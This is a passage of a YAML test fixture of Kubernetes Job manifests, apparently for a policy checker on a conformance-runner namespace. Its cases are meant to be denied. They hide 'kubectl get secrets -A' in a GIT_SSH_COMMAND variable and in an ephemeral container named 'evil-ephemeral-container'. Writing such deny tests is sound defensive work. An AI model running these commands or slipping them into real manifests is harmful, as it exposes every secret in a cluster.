value: "0123456789abcdef0123456789abcdef01234567"
- name: GIT_SSH_COMMAND
value: "sh -c 'kubectl get secrets -A'"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
# this case may be unreachable in practice; the rule and this fixture exist because
# "probably rejected upstream" is not a boundary. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-ephemeral-container
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
ephemeralContainers:
- name: debugger
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}